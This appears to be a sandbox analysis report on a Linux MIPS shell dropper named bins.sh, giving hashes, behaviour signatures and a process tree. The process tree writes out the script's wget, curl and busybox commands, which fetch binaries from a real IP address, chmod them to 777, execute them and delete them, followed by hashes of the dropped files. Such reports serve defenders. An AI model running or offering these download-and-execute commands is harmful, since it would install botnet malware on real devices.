Analysis

  • max time kernel
    106s
  • max time network
    133s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 16:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    534a73324bdffc21d98727b2f74568ce

  • SHA1

    89685be31befce3ea973d79dacec145875bc5dbb

  • SHA256

    956b4f4c2b994b61a3f395db42c7eb576bbf306dc75d2f7c97cc02d71b0f2f23

  • SHA512

    7c07c3c58e7d98e393d7ba902a3e57df1a6d8c9b6e4b74f0c8d6ddb683032112bb4b9af3b0d445f83ef69cb76438d236bcc6fe107738c3e1e5fb2b95638b11c1

  • SSDEEP

    192:kd9bUApimONfVQbfBVvKaIyOfmmEhDe5BVvKa6dmmEhAd9bUAdimONfVp:kd9bUADbfBVvKaIyOfmmEhDe5BVvKa6S

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Reads runtime system information 9 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          ./C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
            • File and Directory Permissions Modification
            PID:752
          • /tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            ./wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm wADa8E6iEluhrUq1mrydTV91psq5G5jsmq
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://216.126.231.240/bins/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
              • Writes file to tmp directory
              PID:758
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:782
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
              • File and Directory Permissions Modification
              PID:832
            • /tmp/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              ./pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
              • Executes dropped EXE
              PID:833
            • /bin/rm
              rm pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb
              2⤵
                PID:835
              • /usr/bin/wget
                wget http://216.126.231.240/bins/odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                • Writes file to tmp directory
                PID:836
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:843
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                • Writes file to tmp directory
                PID:844
              • /bin/chmod
                chmod 777 odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                • File and Directory Permissions Modification
                PID:845
              • /tmp/odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                ./odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                • Executes dropped EXE
                PID:846
              • /bin/rm
                rm odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e
                2⤵
                  PID:848
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                  • Writes file to tmp directory
                  PID:849
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:850
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                  • Writes file to tmp directory
                  PID:851
                • /bin/chmod
                  chmod 777 7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:852
                • /tmp/7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  ./7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                  • Executes dropped EXE
                  PID:853
                • /bin/rm
                  rm 7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9
                  2⤵
                    PID:855
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                    • Writes file to tmp directory
                    PID:856
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:857
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                    • Writes file to tmp directory
                    PID:858
                  • /bin/chmod
                    chmod 777 nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:859
                  • /tmp/nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    ./nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                    • Executes dropped EXE
                    PID:860
                  • /bin/rm
                    rm nEal47iRUTOySgOLguZlajg2kqX3QLBSJm
                    2⤵
                      PID:862
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                      • Writes file to tmp directory
                      PID:863
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:864
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                      • Writes file to tmp directory
                      PID:865
                    • /bin/chmod
                      chmod 777 jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                      • File and Directory Permissions Modification
                      PID:866
                    • /tmp/jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      ./jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                      • Executes dropped EXE
                      PID:867
                    • /bin/rm
                      rm jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW
                      2⤵
                        PID:869
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                        • Writes file to tmp directory
                        PID:870
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:871
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                        • Writes file to tmp directory
                        PID:872
                      • /bin/chmod
                        chmod 777 m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                        • File and Directory Permissions Modification
                        PID:873
                      • /tmp/m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        ./m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                        • Executes dropped EXE
                        PID:874
                      • /bin/rm
                        rm m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP
                        2⤵
                          PID:876
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                          • Writes file to tmp directory
                          PID:877
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:878
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                          • Writes file to tmp directory
                          PID:879
                        • /bin/chmod
                          chmod 777 wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                          • File and Directory Permissions Modification
                          PID:880
                        • /tmp/wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          ./wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                          • Executes dropped EXE
                          PID:881
                        • /bin/rm
                          rm wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu
                          2⤵
                            PID:883
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/HXkhsaW7fJi0NZs4gACTPUltmqDcWIteuD
                            2⤵
                            • Writes file to tmp directory
                            PID:884

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        • /tmp/7KTVMqqBGYV6lwLUPqSmLvnHH9eMQW66s9

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/C7cT6xn0KbL7RzhVfL7sQQTw9ObUT5dJYT

                          Filesize

                          98KB

                          MD5

                          5141342d0df8699fa32a6b066a0c592e

                          SHA1

                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                          SHA256

                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                          SHA512

                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                        • /tmp/jpKKbFKK5TAoTIdD0Cvq3bd0X18GoGCpmW

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/m7wZ8lrAzcnzAkbStWrIDNxDQ83qGwAdeP

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /tmp/nEal47iRUTOySgOLguZlajg2kqX3QLBSJm

                          Filesize

                          119KB

                          MD5

                          1b166b95f9cb4b079ef1b9ec8363ddf3

                          SHA1

                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                          SHA256

                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                          SHA512

                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                        • /tmp/odz9tH6yFi9khVh0MP4oFBhDbSGaD2q88e

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/pNnSN2jIltXOLf3egD9PjEf3emb9ubmbIb

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/wADa8E6iEluhrUq1mrydTV91psq5G5jsmq

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/wjbzzGB8o4rFeaGeEs75tBUkN0RVZ014tu

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a